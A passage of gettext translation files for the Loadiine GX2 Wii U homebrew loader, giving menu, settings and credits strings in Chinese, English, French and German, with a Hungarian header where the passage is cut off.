msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1开发的内核破解程序"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "还有libwiiu小组和其他人所做出贡献"
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr "扩展存档:"
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr "启用DLC支持:"
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr "更新文件夹"
#: src/menu/GameLauncherMenu.cpp:77
msgid "Save Mode"
msgstr "存档模式"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "运行模式"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid "<Settings Default>"
msgstr "<默认设置>"
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr "保存游戏设置!"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "关闭"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "开启"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "旋转图标模式"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "网格视图"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "旋转封面模式"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "自定义背景"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "图形化"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "游戏查看选择"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "更改日志服务器的ip和端口"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "自定义游戏路径"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "自定义保存路径"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "加载器"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "设置存档模式"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "游戏"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "HID设置"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "运行模式选择"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "日志服务器控制"
#: src/menu/SettingsMenu.cpp:54
msgid "Padcon settings"
msgstr "屏幕控制设置"
#: src/menu/SettingsMenu.cpp:54
msgid "PyGecko settings"
msgstr "金手指设置"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "感谢"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "感谢所有为此项目的贡献者"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "电视显示样式"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "平板显示样式"
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr "显示游戏设置"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr "主机IP"
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "游戏路径"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "游戏存档路径"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "游戏存档模式"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "日志服务器控制"
#: src/menu/SettingsMenu.cpp:77
msgid "PyGecko"
msgstr "金手指"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr "平板屏幕控制"
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr "HID转PAD控制"
#: src/menu/SettingsMenu.cpp:80
#, fuzzy
msgid "HID-Pad Rumble"
msgstr "HID转PAD控制"
#: src/menu/SettingsMenu.cpp:81
#, fuzzy
msgid "HID-Pad Network"
msgstr "HID转PAD控制"
#~ msgid "Art Atelier Mode"
#~ msgstr "绘心教室模式"
#~ msgid "Shared Mode"
#~ msgstr "共享模式"
#~ msgid "Unique Mode"
#~ msgstr "独享模式"
#~ msgid "Mii Maker Mode"
#~ msgstr "Mii Maker模式"
#~ msgid "Smash Bros Mode"
#~ msgstr "超级大乱斗模式"
#~ msgid "Karaoke Mode"
#~ msgstr "卡拉OK模式"
#~ msgid "Log Server IP"
#~ msgstr "日志服务器IP"
================================================
FILE: languages/chinese_tr.lang
================================================
# Loadiine GX2 language source file.
# chinese_Tr.lang - v0.34
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: kavid by 91wii.com \n"
"Language-Team: 91wii.com\n"
"Language: Traditional Chinese\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr "Loadiine GX2"
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "官方網站"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "代碼編寫:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "界面設計:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "有些人不想被提到名字。"
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr "測試者:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight 等等更多人"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "參與人員:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "基於:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0作者Golden45和Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "強烈感謝:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar的GameTDB與提供的封面和光盤封面"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1開發的內核破解程序"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "還有libwiiu小組和其他人所做出貢獻"
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr "存檔增強:"
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr "啟用DLC支持:"
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr "更新文件夾"
#: src/menu/GameLauncherMenu.cpp:77
msgid "Save Mode"
msgstr "存檔模式"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "運行模式"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid "<Settings Default>"
msgstr "<缺省設置>"
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr "保存遊戲何止!"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "關閉"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "開啟"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "旋轉圖標模式"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "網格視圖"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "旋轉封面模式"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "自定義背景"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "圖形化"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "遊戲查看選擇"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "更改日誌服務器的ip和端口"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "自定義遊戲路徑"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "自定義保存路徑"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "加載器"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "設置存檔模式"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "遊戲"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "HID設置"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "運行模式選擇"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "日誌服務器控制"
#: src/menu/SettingsMenu.cpp:54
msgid "Padcon settings"
msgstr "平板顯示控制設置"
#: src/menu/SettingsMenu.cpp:54
msgid "PyGecko settings"
msgstr "金手指設置"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "感謝"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "感謝所有為此項目的貢獻者"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "電視顯示樣式"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "平板顯示樣式"
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr "顯示遊戲設置"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr "主機IP"
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "遊戲路徑"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "遊戲存檔路徑"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "遊戲存檔模式"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "日誌服務器控制"
#: src/menu/SettingsMenu.cpp:77
msgid "PyGecko"
msgstr "金手指"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr "平板屏幕控制"
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr "HID轉PAD控制"
#: src/menu/SettingsMenu.cpp:80
#, fuzzy
msgid "HID-Pad Rumble"
msgstr "HID轉PAD控制"
#: src/menu/SettingsMenu.cpp:81
#, fuzzy
msgid "HID-Pad Network"
msgstr "HID轉PAD控制"
#~ msgid "Art Atelier Mode"
#~ msgstr "繪心教室模式"
#~ msgid "Shared Mode"
#~ msgstr "共享模式"
#~ msgid "Unique Mode"
#~ msgstr "獨享模式"
#~ msgid "Mii Maker Mode"
#~ msgstr "Mii Maker模式"
#~ msgid "Smash Bros Mode"
#~ msgstr "超級大亂鬥模式"
#~ msgid "Karaoke Mode"
#~ msgstr "卡拉OK模式"
#~ msgid "Log Server IP"
#~ msgstr "日誌服務器IP"
================================================
FILE: languages/english.lang
================================================
# Loadiine GX2 language source file.
# english.lang - vx.x
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: \n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: \n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr ""
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr ""
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr ""
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr ""
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr ""
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr ""
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr ""
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr ""
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr ""
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr ""
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr ""
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr ""
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr ""
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:77
msgid "Save Mode"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
msgid "<Settings Default>"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr ""
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr ""
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr ""
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr ""
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr ""
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "HID settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "Padcon settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:54
msgid "PyGecko settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr ""
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr ""
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr ""
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr ""
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr ""
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr ""
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr ""
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr ""
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr ""
#: src/menu/SettingsMenu.cpp:77
msgid "PyGecko"
msgstr ""
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
================================================
FILE: languages/french.lang
================================================
# Loadiine GX2 language source file.
# french.lang - v0.2
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2016-04-03 19:00+0200\n"
"Last-Translator: BHackUP, littlebalup, Cyan\n"
"Language-Team: BHackUP, littlebalup, Cyan\n"
"Language: Français\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Site officiel:"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Développement:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr ""
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "Quelqu'un qui ne veut pas être nommé."
#: src/menu/CreditsMenu.cpp:115
#, fuzzy
msgid "Testing:"
msgstr "Tests:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight et bien d'autres"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Présence sociale:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Basé sur:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0 de Golden45 et Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "Remerciements à:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar pour GameTDB et l'hébergement des jaquettes"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1 pour son exploit kernel"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "Toute l'équipe libwiiu et ses contributeurs."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:77
#, fuzzy
msgid "Save Mode"
msgstr "Mode partagé"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "Mode de lancement"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid "<Settings Default>"
msgstr "Tests:"
#: src/menu/GameLauncherMenu.cpp:492
#, fuzzy
msgid "Saving game settings!"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr ""
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr ""
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "Carrousel d'icônes"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "Grille"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "Carrousel de jaquettes"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "Interface"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "Mode d'affichage des jeux"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "Modifier IP / port serveur log"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "Emplacement des jeux"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "Emplacement des sauvegardes"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr ""
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "Définir le mode de sauvegarde"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "Jeu"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "Méthode de lancement des jeux"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "Serveur de log"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "Padcon settings"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "PyGecko settings"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "Crédits"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "Merci à tous les contributeurs"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "Affichage des jeux sur TV"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "Affichage des jeux sur GamePad"
#: src/menu/SettingsMenu.cpp:66
#, fuzzy
msgid "Show Game Settings"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "Emplacement des jeux"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "Emplacement des sauvegardes"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "Mode de sauvegarde"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "Activer les logs"
#: src/menu/SettingsMenu.cpp:77
#, fuzzy
msgid "PyGecko"
msgstr "Tests:"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "Mode Art Atelier"
#~ msgid "Shared Mode"
#~ msgstr "Mode partagé"
#~ msgid "Unique Mode"
#~ msgstr "Mode unique"
#~ msgid "Mii Maker Mode"
#~ msgstr "Mode Mii Maker"
#~ msgid "Smash Bros Mode"
#~ msgstr "Mode Smash Bros"
#~ msgid "Karaoke Mode"
#~ msgstr "Mode Karaoke"
#~ msgid "Log Server IP"
#~ msgstr "Adresse IP du serveur log"
================================================
FILE: languages/german.lang
================================================
# Loadiine GX2 language source file.
# german.lang - v0.3
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: \n"
"Language-Team: \n"
"Language: German\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr "Loadiine GX2"
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Offizielle Seite:"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Programmierer:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr ""
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "Jemand der nicht genannt werden will."
#: src/menu/CreditsMenu.cpp:115
#, fuzzy
msgid "Testing:"
msgstr "Tester:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight und viele weitere"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Öffentliches Auftreten:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Basierend auf:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0 von Golden45 und Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "Besonderen Dank an:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar für GameTDB und die Bereitstellung der Cover-Server"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1 für seinen Kernel-Exploit"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "Dem ganzen libwiiu Team und allen Mitwirkenden."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:77
#, fuzzy
msgid "Save Mode"
msgstr "Gemeisame Spielstände"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "Spielstart-Methode"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid "<Settings Default>"
msgstr "Tester:"
#: src/menu/GameLauncherMenu.cpp:492
#, fuzzy
msgid "Saving game settings!"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "Aus"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "An"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "Iconkarussell"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "Gitteransicht"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "Coverkarussell"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "Hintergrundanpassungen"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr "GUI"
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "Spielansicht Auswahl"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "Logger-Einstellungen"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "Spieleordner ändern"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "Spielstandordner ändern"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "Loader"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "Spielstand-Optionen"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "Spiel"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "Spielstart-Methode auswählen"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "Log-Server Kontrolle"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "Padcon settings"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "PyGecko settings"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "Credits"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "Mitwirkende"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "Ansicht am Fernseher"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "Ansicht am Gamepad"
#: src/menu/SettingsMenu.cpp:66
#, fuzzy
msgid "Show Game Settings"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "Spielordner ändern"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "Speicherstandordner ändern"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "Speichermodus"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "Log-Server Kontrolle"
#: src/menu/SettingsMenu.cpp:77
#, fuzzy
msgid "PyGecko"
msgstr "Tester:"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "Art Atelier Modus"
#~ msgid "Shared Mode"
#~ msgstr "Gemeisame Spielstände"
#~ msgid "Unique Mode"
#~ msgstr "Getrennte Spielstände"
#~ msgid "Mii Maker Mode"
#~ msgstr "Mii Maker Modus"
#~ msgid "Smash Bros Mode"
#~ msgstr "Smash Bros Modus"
#~ msgid "Karaoke Mode"
#~ msgstr "Karaoke Modus"
#~ msgid "Log Server IP"
#~ msgstr "Log-Server IP"
================================================
FILE: languages/hungarian.lang
================================================
# Loadiine GX2 language source file.
# hungarian.lang - v0.1
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2016-04-05 5:52+0200\n"
"Last-Translator: Cava\n"
